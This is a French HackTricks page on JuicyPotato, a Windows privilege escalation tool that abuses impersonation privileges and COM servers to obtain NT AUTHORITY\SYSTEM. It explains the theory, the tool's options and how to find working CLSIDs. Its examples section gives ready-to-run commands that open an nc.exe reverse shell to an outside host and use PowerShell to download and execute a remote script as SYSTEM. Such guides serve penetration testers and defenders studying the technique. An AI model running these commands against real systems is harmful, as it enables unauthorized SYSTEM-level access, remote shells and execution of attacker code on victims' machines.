11 KiB
JuicyPotato
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Vous voulez voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version du PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux repo hacktricks et repo hacktricks-cloud.
{% hint style="warning" %}
JuicyPotato ne fonctionne pas sur Windows Server 2019 et Windows 10 à partir de la version 1809. Cependant, PrintSpoofer, RoguePotato, SharpEfsPotato peuvent être utilisés pour exploiter les mêmes privilèges et obtenir l'accès au niveau NT AUTHORITY\SYSTEM
. Vérifiez :
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato (abus des privilèges dorés)
Une version sucrée de RottenPotatoNG, avec un peu de jus, c'est-à-dire un autre outil d'escalade de privilèges locaux, des comptes de service Windows à NT AUTHORITY\SYSTEM
Vous pouvez télécharger juicypotato depuis https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Résumé
À partir de la documentation de juicy-potato:
RottenPotatoNG et ses variantes exploitent la chaîne d'escalade de privilèges basée sur le service BITS
service ayant l'écouteur MiTM sur 127.0.0.1:6666
et lorsque vous avez les privilèges SeImpersonate
ou SeAssignPrimaryToken
. Lors d'une revue de construction Windows, nous avons trouvé une configuration où BITS
était intentionnellement désactivé et le port 6666
était pris.
Nous avons décidé de weaponize RottenPotatoNG : Dites bonjour à Juicy Potato.
Pour la théorie, voir Rotten Potato - Escalade de privilèges des comptes de service à SYSTEM et suivez la chaîne de liens et de références.
Nous avons découvert qu'en dehors de BITS
, il existe plusieurs serveurs COM que nous pouvons abuser. Ils doivent simplement :
- être instanciables par l'utilisateur actuel, normalement un "utilisateur de service" qui a des privilèges d'impersonation
- implémenter l'interface
IMarshal
- s'exécuter en tant qu'utilisateur élevé (SYSTEM, Administrateur, ...)
Après quelques tests, nous avons obtenu et testé une liste étendue de CLSID intéressants sur plusieurs versions de Windows.
Détails juteux
JuicyPotato vous permet de :
- Cibler CLSID choisissez n'importe quel CLSID que vous voulez. Ici vous pouvez trouver la liste organisée par OS.
- Port d'écoute COM définissez le port d'écoute COM que vous préférez (au lieu du 6666 codé en dur)
- Adresse IP d'écoute COM liez le serveur sur n'importe quelle IP
- Mode de création de processus en fonction des privilèges de l'utilisateur impersonné, vous pouvez choisir parmi :
CreateProcessWithToken
(nécessiteSeImpersonate
)CreateProcessAsUser
(nécessiteSeAssignPrimaryToken
)les deux
- Processus à lancer lancer un exécutable ou un script si l'exploitation réussit
- Argument de processus personnalisez les arguments du processus lancé
- Adresse du serveur RPC pour une approche furtive, vous pouvez vous authentifier à un serveur RPC externe
- Port du serveur RPC utile si vous voulez vous authentifier à un serveur externe et que le pare-feu bloque le port
135
... - Mode TEST principalement à des fins de test, c'est-à-dire tester les CLSID. Il crée le DCOM et affiche l'utilisateur du jeton. Voir ici pour les tests
Utilisation
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Réflexions finales
À partir de la documentation de juicy-potato:
Si l'utilisateur a les privilèges SeImpersonate
ou SeAssignPrimaryToken
, alors vous êtes SYSTEM.
Il est presque impossible d'empêcher l'abus de tous ces serveurs COM. Vous pourriez envisager de modifier les autorisations de ces objets via DCOMCNFG
, mais bonne chance, cela va être difficile.
La solution réelle consiste à protéger les comptes sensibles et les applications qui s'exécutent sous les comptes * SERVICE
. Arrêter DCOM
inhiberait certainement cette exploitation mais pourrait avoir un impact sérieux sur le système d'exploitation sous-jacent.
À partir de : http://ohpe.it/juicy-potato/
Exemples
Note : Visitez cette page pour une liste de CLSID à essayer.
Obtenir un shell inversé avec nc.exe
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Lancer une nouvelle CMD (si vous avez accès RDP)
Problèmes de CLSID
Souvent, le CLSID par défaut utilisé par JuicyPotato ne fonctionne pas et l'exploit échoue. Habituellement, il faut plusieurs tentatives pour trouver un CLSID fonctionnel. Pour obtenir une liste de CLSID à essayer pour un système d'exploitation spécifique, vous devriez visiter cette page :
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
Vérification des CLSID
Tout d'abord, vous aurez besoin de certains exécutables en plus de juicypotato.exe.
Téléchargez Join-Object.ps1 et chargez-le dans votre session PS, puis téléchargez et exécutez GetCLSID.ps1. Ce script créera une liste de CLSID possibles à tester.
Ensuite, téléchargez test_clsid.bat (changez le chemin vers la liste des CLSID et vers l'exécutable juicypotato) et exécutez-le. Il commencera à essayer chaque CLSID, et lorsque le numéro de port change, cela signifiera que le CLSID a fonctionné.
Vérifiez les CLSID fonctionnels en utilisant le paramètre -c
Références
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous avoir accès à la dernière version du PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La Famille PEASS, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.